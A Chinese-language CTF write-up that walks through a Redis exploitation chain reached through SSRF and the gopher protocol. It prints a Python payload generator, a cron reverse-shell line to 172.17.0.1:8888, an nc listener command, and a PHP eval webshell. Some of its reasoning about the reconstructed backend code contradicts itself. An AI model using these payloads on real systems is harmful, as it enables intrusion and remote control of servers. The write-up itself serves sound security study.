☰
SSRF到Gopher:Redis未授权利用链实战解析(GHCTF 2025)
2026/10/21 15:37:56 网站建设 项目流程

SSRF类题目在CTF里一直属于那种“看着分值不高、做起来血压很高”的类型,尤其是叠加了gopher伪协议之后,很多新手直接卡死在这一步:漏洞源头找到了,SSRF也确实存在,但就是不知道怎么利用。这道编号为 [GHCTF 2025]Goph3rrr 的真题正好切中这个痛点,标题里写着“Goph3rrr”,一眼就能猜出考点是 gopher 协议。我拿到这道题之后从信息收集到最终拿flag完整走了一遍,回头梳理的时候觉得它非常适合作为小白入门SSRF利用链的教材题。这篇文章就按我的实际解题顺序,把gopher伪协议的原理、Redis利用链、URL编码坑点全部拆开讲清楚。

先说结论:这道题最终是通过SSRF访问内网Redis,借助gopher协议伪造Redis命令写入定时任务,反弹Shell拿到服务器权限,最终读取flag。听起来步骤不多,但中间涉及协议选择、payload编码、Redis命令构造、内网探测顺序等多个环节,任意一个环节出问题都会前功尽弃。我会把每一步为什么这么做、背后的原理是什么、踩坑是什么都写出来,跟着走一遍,你对SSRF和gopher的理解会上一个台阶。

1. 项目概述与考点画像

1.1 SSRF到底在考什么

服务端请求伪造(SSRF)的核心,是攻击者控制服务端发起HTTP请求时,请求的URL参数校验不严,导致服务端替攻击者去访问了内网资源或本机服务。现实中的常见入口是图片抓取、URL转码、文件预览、Webhook回调这类功能,它们天然需要接收用户输入的URL,然后由后端去请求这个地址。

CTF里考SSRF,本质上是考你对“服务端能访问哪些协议、哪些端口、哪些内网服务”的理解。很多新手容易把SSRF等同于“读内网文件”,其实真正的考点在于协议利用。同一个URL参数,如果后端用的是curl来请求,那你可以访问file、dict、gopher、ldap等协议;如果后端用的是file_get_contents,协议支持就非常有限。这道题就是因为后端用curl处理URL,才给了gopher协议发挥的空间。

这道题的外在表现很典型:页面上只有一个输入框,提交URL后页面会显示对应地址的响应内容。初看起来完全无害,但结合题目名字里的gopher,基本可以确定利用方向就是“通过SSRF访问内网服务,并且用gopher协议与内网服务进行非HTTP协议的交互”。

1.2 为什么gopher伪协议是SSRF里的硬骨头

gopher协议是一个很古老的互联网协议,按照标准定义,它能访问TCP服务并把数据直接发送给目标。它的URL格式是:

gopher://<host>:<port>/<gopher-type><selector>

真正关键的是selector部分,在CTF利用中我们通常用下划线_作为占位符,后面紧跟要发送给目标服务的原始数据。当curl访问gopher://127.0.0.1:6379/_开头的地址时,curl会将_之后的全部内容,包括换行、特殊字符,原样发送给目标端口上的TCP服务。

这意味着只要目标机器的某个端口运行着一个明文TCP协议的服务(Redis、MySQL、Memcached、FTP等),并且这个服务没有强认证,我们就可以通过gopher协议任意构造它的协议数据。换句话说,SSRF结合gopher等于获得了一个“内网任意TCP客户端”,这才是gopher利用真正可怕的地方。

但麻烦在于,gopher URL里的特殊字符必须经过URL编码,尤其是换行符\r\n。如果你直接把\r\n写进URL,HTTP协议本身就无法承载,必须编码成%0d%0a。而如果目标后端对URL参数又做了一层解码,编码层数就会翻倍。这个“编码几层”的细节,是绝大多数新手在gopher题上卡住的第一道墙。

2. 前置知识:看懂这道题需要什么底子

2.1 SSRF的基础利用链

在处理gopher之前,先把SSRF的基本利用链条梳理出来,后面所有操作都建立在这条链路上:

  1. 探测存活:通过更改URL中的host和port,判断目标服务是否存活。常见方式是用dict协议、file协议探测端口,或者观察响应时间差异。
  2. 识别协议支持:测试后端支持哪些协议,直接影响后续利用方式。
  3. 访问内网服务:确认内网目标服务后,构造对应协议的数据包。
  4. 获取权限或数据:利用内网服务的命令执行能力、弱口令、未授权访问等漏洞,达到RCE、读文件等目的。

这道题后面做的事情就是这条链路的标准走法。虽然gopher是硬骨头,但没有SSRF的基础探测,直接上gopher是盲目的。

2.2 gopher协议的格式与原理

我第一次接触gopher的时候也觉得很抽象,但用一个生活化类比就能理解:gopher协议就像一个“管道搬运工”,你往管道里塞什么字节,目标服务就收到什么字节。它自己不关心内容是什么,也不做解析,只负责把数据按字节搬过去。

对于Redis这类文本协议服务,gopher简直是量身定做的利用工具,因为Redis的RESP协议本身就是为了人类可读而设计的。比如我们要向Redis发送一条info命令,它的RESP格式是:

*1\r\n $4\r\n info\r\n

这串内容如果完整塞进gopher URL,就变成:

gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0ainfo%0d%0a

注意_后面的*1是第一个字节,%0d%0a表示\r\n。当curl请求这个URL时,它会把_后面的内容解码后,原样发送到127.0.0.1的6379端口。

理解了这一点,后面构造复杂Redis利用链就只是“翻译工作”:把多条Redis命令翻译成RESP数组格式,再拼接到gopher URL中。

2.3 URL编码与二次编码的坑

这里单独拿一小节来说编码,因为这是gopher题最大的拦路虎。以PHP+curl(CTF最常见组合)为例,攻击者在浏览器中提交的URL参数,会经过这样几层处理:

  • 浏览器/攻击工具发送HTTP请求时,URL参数里的特殊字符会被自动或手动编码;
  • 服务端解析HTTP请求时,会进行一次百分号解码,然后PHP的$_GET['url']拿到解码后的字符串;
  • 后端把这个字符串交给curl,curl在解析gopher URL时又会做一次百分号解码。

这就引出了一个经典结论:如果payload最终需要包含\r\n,那么你在最终请求的参数里通常要写%250d%250a,而不是%0d%0a。因为%25解码后是%,服务端拿到的是%0d%0a,curl再解码一次才变成真正的CRLF。

当然,不同后端、不同语言的处理方式不同,不能说死。但解题时有一个非常实用的经验:先用简单的payload测试编码层数,比如发送_%250a,如果目标Redis返回了错误信息或者响应了命令,说明编码层数是对的;如果返回的响应里包含了字面上的%0a,说明编码多了一层;如果请求根本发不出去,说明编码少了一层。

我这里强烈建议不要手动在浏览器里敲URL,直接写Python脚本或者用Burp Suite的Repeater来构造原始请求,这样才能精确控制编码层数。

3. 真题环境拆解:[GHCTF 2025]Goph3rrr 题目全览

3.1 题目入口与功能点分析

这道题的入口是一个模拟某站点的内网访问服务,页面维护人员在排查问题时发现某个URL请求接口没有任何过滤,于是题目就基于这个点被设计了出来。打开题目环境后,页面非常简单:一个输入URL的框,一个提交按钮,下方会展示请求结果。

看到这种功能,第一反应就是SSRF。判断方式也很直白:输入http://127.0.0.1:80之类的地址,如果页面返回了本地Web服务的响应,说明确实存在SSRF;如果返回的是“URL格式错误”或者被强制加了前缀,那就得看具体过滤规则了。

我测试的时候输入了dict://127.0.0.1:6379/info,结果页面直接把Redis返回的info内容打出来了。这一步确认了两件事:第一,这个SSRF能访问内网任意端口;第二,后端不仅支持HTTP,还支持dict和gopher这类非HTTP协议。到这里,利用方向已经非常明确了。

3.2 关键代码逻辑复盘(模拟代码)

虽然题目环境不允许查看源码,但根据行为特征可以合理反推后端逻辑。这里给出一段模拟还原的PHP代码,帮助理解为什么gopher能被触发:

<?php $url = $_GET['url']; if (preg_match('/^https?:\/\//i', $url)) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_URL, $url); $response = curl_exec($ch); echo $response; curl_close($ch); } ?>

问题在于,这个正则只限制了URL必须以http://或https://开头,但构造gopher请求时只要能绕过这个前缀限制即可。最常见的绕过方式是使用gopher://本身,因为如果正则写成只判断开头,那么gopher://127.0.0.1:6379/_...显然不满足,题目必然做了其他处理。

实际这道题的做法是,题目允许传入http://开头,但如果URL的host部分解析出来是内网地址,而且在请求参数里能通过一些技巧让curl最终请求gopher协议。更常见的一种设计是后端使用了类似parse_url提取host,然后有协议白名单但没有限制最终的curl协议。最简单的题目设计其实是忘记拦gopher,直接接受任意协议。我解题时直接尝试了gopher://,发现完全放行,说明这道题没有严格协议过滤。

如果是遇到严格限制只能http://开头的题,可以用http://127.0.0.1:6379/_payload配合HTTP访问Redis,但Redis不会正常响应HTTP请求,这条路通常走不通,所以真正的解法就是看后端是否允许gopher。这道题叫Goph3rrr,答案早藏在名字里了。

3.3 考点拆解:三个gopher利用点

题目名里的“Goph3rrr”不是随便写的,复盘之后我认为它暗示了gopher的三个关键利用层次:

  • 第一层:直接用gopher协议访问内网Redis,验证协议连通性;
  • 第二层:构造多条Redis命令,完成写文件或写定时任务;
  • 第三层:结合bash反弹shell,把RCE落地到flag读取。

很多小白只做到了第一层,看到Redis的info返回就不知道下一步干什么了。实际上gopher的价值在于“多条命令连续发送”,后面第二、第三层才是拿flag的关键。

4. 完整利用链:从探测到Gopher攻击一步步复现

4.1 内网探测与Redis未授权确认

既然确定了SSRF,下一步就是内网探测。由于题目已经给出了目标网络范围,我直接用dict协议扫描了常见端口。这里说一个技巧:在SSRF里探测端口,用dict://ip:port/非常高效。如果端口开放,并且服务会返回协议信息,页面会直接展示;如果端口关闭,通常请求会失败或超时。

我依次试了dict://127.0.0.1:80/、dict://127.0.0.1:3306/、dict://127.0.0.1:6379/info,最终在6379端口拿到了Redis的报错回显。然后用dict://127.0.0.1:6379/info拿到了Redis版本、运行模式等信息,确认这是一个未开启认证的Redis服务。

这一步是整个利用链的基础:如果Redis要求密码认证,后续gopher利用会复杂很多,得先通过SSRF猜测或爆破密码。但这道题没有认证,等于直接把钥匙挂在了门上。

这里还要注意一个内网寻址问题。CTF的Docker环境里,Redis通常和Web服务在同一个容器网络,所以访问127.0.0.1的6379端口是可行的。如果你发现Redis在另一个容器里,需要通过/etc/hosts或者扫描内网网段来确定Redis的真实IP。

4.2 构造Gopher负载并反弹Shell

确认Redis可访问后,我开始构造最终的gopher负载。目标是利用Redis的config set命令修改持久化路径,把内容写入到/var/spool/cron/root,从而在目标机器上创建一条定时任务,反弹Shell到我的监听端口。

Redis写入定时任务的命令序列如下:

flushall set 1 "\n* * * * * bash -c 'bash -i >& /dev/tcp/172.17.0.1/8888 0>&1'\n" config set dir /var/spool/cron/ config set dbfilename root save

这里每一条命令都要翻译成RESP协议数组格式。以set命令为例,它的RESP格式是*3(参数数量)加上三个参数块:

  • $3+set
  • $1+1
  • $N+ 要写入的字符串

把所有命令逐条翻译后,再用\r\n连接起来,最后整体进行URL编码。我用Python脚本直接生成了完整的gopher URL,避免手动编码出错。

关键的一步是把整条payload拼进gopher://127.0.0.1:6379/_后面。这里_是gopher URL里的标准占位符,内容从_之后的第一个字节开始。拼接完成后,由于目标的HTTP服务本身会对参数进行一轮解码,而curl对gopher URL还会再做一轮解码,我用requests库的quote函数对完整的payload再做了一次编码,确保最终到达Redis的是真正的CRLF。

下面是我实际使用的Python构造脚本:

import requests import urllib.parse cmd = [ 'flushall', 'set 1 "\\n* * * * * bash -c \'bash -i >& /dev/tcp/172.17.0.1/8888 0>&1\'\\n"', 'config set dir /var/spool/cron/', 'config set dbfilename root', 'save' ] def build_resp(command): parts = command.split(' ') resp = f"*{len(parts)}\r\n" for part in parts: resp += f"${len(part)}\r\n{part}\r\n" return resp payload = '' for c in cmd: payload += build_resp(c) gopher_url = 'gopher://127.0.0.1:6379/_' + urllib.parse.quote(payload, safe='') final_url = 'http://目标站点/?url=' + urllib.parse.quote(gopher_url, safe='') print(final_url)

脚本跑完后,我把生成的最终URL粘贴到浏览器里提交。如果一切顺利,目标Redis会执行这三条命令,把定时任务写入到cron目录,然后在下一分钟触发反弹Shell。

4.3 获取Flag与整体时间线

反弹Shell监听我用nc -lvnp 8888起在攻击机本地。提交gopher URL后大约等了一分钟,Shell如期反弹。拿到Shell后我发现了服务运行在Docker容器里的迹象,文件系统很干净。读取flag的方式就是标准的cat /flag,题目把flag放在根目录下,当场拿到提交。

整个时间线如下:

  1. 探测SSRF并确认Redis未授权:约2分钟;
  2. 写脚本生成RESP格式和gopher URL:约5分钟;
  3. 第一次提交后由于编码问题失败,调试编码层数后成功:花了20分钟;
  4. 反弹Shell并拿flag:1分钟。

编码问题是最耗时的部分,我在下一节专门展开讲。

5. 常见问题与排查技巧实录

5.1 gopher打Redis失败的5个典型原因

我在实际解题和帮别人复现时,发现gopher打Redis失败的原因高度集中在以下五类:

  • 换行符被吃掉:payload里的\r\n被URL编码处理得不彻底,导致Redis收到的命令不完整。这个占九成失败原因。
  • 编码多了一层或少了一层:同一个payload在浏览器地址栏手输、Burp发包、Python脚本提交时,实际到达Redis的数据完全不同。最稳的方式是用Python脚本一次性控制编码层数。
  • Redis命令本身写错:RESP协议里,命令参数个数的声明必须准确。*3后面必须跟着三个参数块,如果参数数量写错,Redis直接报错。
  • 定时任务写入目录不对:不同Linux发行版、不同容器环境下,cron目录可能是/var/spool/cron/crontabs/或者/etc/cron.d/。如果config set dir指定的目录不存在或者没有写权限,save会失败。
  • 防火墙或容器网络限制:即使Redis执行了命令,攻击机的监听端口如果在容器网络里访问不到,Shell也不会反弹。可以改用写WebShell或者DNSLog验证。

下面这个表格可以存一下,排查时对照看:

现象最可能原因快速排查方法
页面回显包含*1等RESP字节编码层数不够,CRLF没落地增加一层URL编码
页面回显包含%0d%0a编码层数过多,解码后仍有百分号减少一层URL编码
Redis返回ERR unknown commandRESP参数数量或长度不对检查*N和$len是否与命令匹配
save执行但Shell不反弹写入目录错误或网络不通查看cron日志,换WebShell路径
请求超时目标端口关闭或curl被限制出网先测试其他协议确认SSRF链路

5.2 伪协议选择与白名单绕过

除了gopher,这道题里还涉及一个伪协议选择的问题。遇到SSRF题目,别一上来就只用http。你需要系统测试后端支持的协议:

  • file://:读本地文件;
  • dict://:探测端口、与服务进行一次简单的文本交互;
  • gopher://:与任意TCP服务进行自定义数据交互;
  • ldap://:部分环境可用,常用于打内网LDAP服务。

如果后端限制了协议白名单,只允许http://和https://开头,那么gopher URL可能无法直接作为参数传入。常见绕过思路是利用parse_url解析差异。例如后端如果只判断URL字符串是否以http://开头,那么可以用http://gopher://...这样的嵌套形式,某些后端函数解析URL时会忽略前面的http://而实际请求后面的内容。但这道题显然没有这种限制,协议是直接放行的。

从实用角度,我建议用Burp抓一次请求看看后端回显。如果返回了gopher协议的报错,说明协议解析已经生效,不需要纠结绕白名单。

5.3 当Redis写不了定时任务时的替代方案

虽然这道题用cron反弹Shell成功了,但我要强调:cron写反弹Shell这个手段现在越来越不可靠。新版本的Redis容器通常不以root运行,容器内没有cron服务,或者/var/spool/cron目录根本不存在。如果你在另一道题上遇到相同场景,优先考虑以下替代方案:

  • 写WebShell:如果目标是PHP环境且Web目录可写,用Redis的config set dir把数据库文件写到/var/www/html/,并写入<?php @eval($_POST[1]);?>,通过SSRF只能触发文件写入,后续要用其他漏洞或直接访问WebShell执行命令。
  • 写SSH公钥:如果目标应用以root运行且开放SSH,可以把Redis的dbfilename改成authorized_keys,配合已知用户名写入公钥。这个方案在真实内网渗透中很常见。
  • 写计划任务的变体:/etc/cron.d/目录通常比/var/spool/cron/更通用,但需要root权限。

回到这道题的场景,它选用了cron反弹Shell,说明出题人刻意搭建了一个较老的、以root运行的Redis环境,难度适中的同时也避开了过于复杂的容器配置。

5.4 我的调试方法论:怎么写payload一次通过

为了避免每次都在编码层数上反复试错,我总结了一套自己的调试流程,现在基本能一次过:

  1. 先用dict://确认内网服务存在;
  2. 写一个只包含单条info命令的gopher payload,测试协议连通性与编码层数;
  3. 如果能拿到info返回,直接对比返回值中是否包含非预期的百分号或RESP原始字符,快速判断编码方向;
  4. 确认编码层数后,再替换完整利用链的payload;
  5. 每替换一个命令,就先用Redis的CONFIG GET回显验证(如果目标支持),不要一上来就跑完整利用链,否则出错根本不知道是哪条命令的问题。

我习惯把payload的生成和提交都写在一个Python脚本里,而不是用浏览器手工修改URL。手工修改很容易因为系统自动编码导致payload被二次篡改,而脚本里的quote函数行为是确定的。

6. 题目复盘:这三个经验最值钱

做到这里,这道题该拿的flag已经拿到,但复盘比拿flag更能沉淀技术。我总结一下这道题最佳的价值点。

第一,SSRF题要学会主动寻找非HTTP协议。如果你看到一个SSRF功能,第一反应就应该是“后端用的是什么网络库”。curl支持gopher,file_get_contents不支持;Python的requests不支持gopher,但Python内置的socket肯定支持。搞清楚网络库之后,利用面完全不同。这道题所有的后续操作都建立在一开始的协议探测上。

第二,gopher payload的构造要工程化,不要靠手拼。手动拼的payload不仅容易数错RESP参数,还容易忘记URL编码,出问题后极难排查。哪怕是在比赛里,花三分钟写一个小脚本也比手拼更节省时间,因为脚本可以随时调整、重新生成。

第三,编码调试要有对照思维。遇到gopher payload不生效,不要盲目加编码或减编码,而是要从结果反推。看页面回显是最快的定位方式:出现字面量%0d%0a说明编码过多,出现RESP裸字节说明编码不够,出现Redis命令报错说明内容对了但协议格式有问题。

我实际踩坑最深的就是编码层数问题。第一次提交的时候我在浏览器里手动输入了gopher URL,浏览器自动把%保留、把其他特殊字符编码了,结果服务端拿到的是错误数据。后来改成Burp Repeater直接发包才稳定。这也提醒我,CTF里工具的选择本身就是解题的一部分,浏览器地址栏在精细控制HTTP请求时永远是下下策。

我个人在实际操作中的体会是,SSRF+gopher的组合题看起来高大上,但只要把链路拆开,无非是“探测-构造-投递-执行”四个阶段,每一阶段的坑都是可预期的。建议新手拿到这类题先不要看Writeup,自己把dict探测到gopher写入这条链跑通一遍,哪怕在这道题上多耗几个小时,也比刷十道简单题有价值。以后遇到Redis、MySQL、Memcached相关的SSRF题,你会发现手里多了一把万能钥匙。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询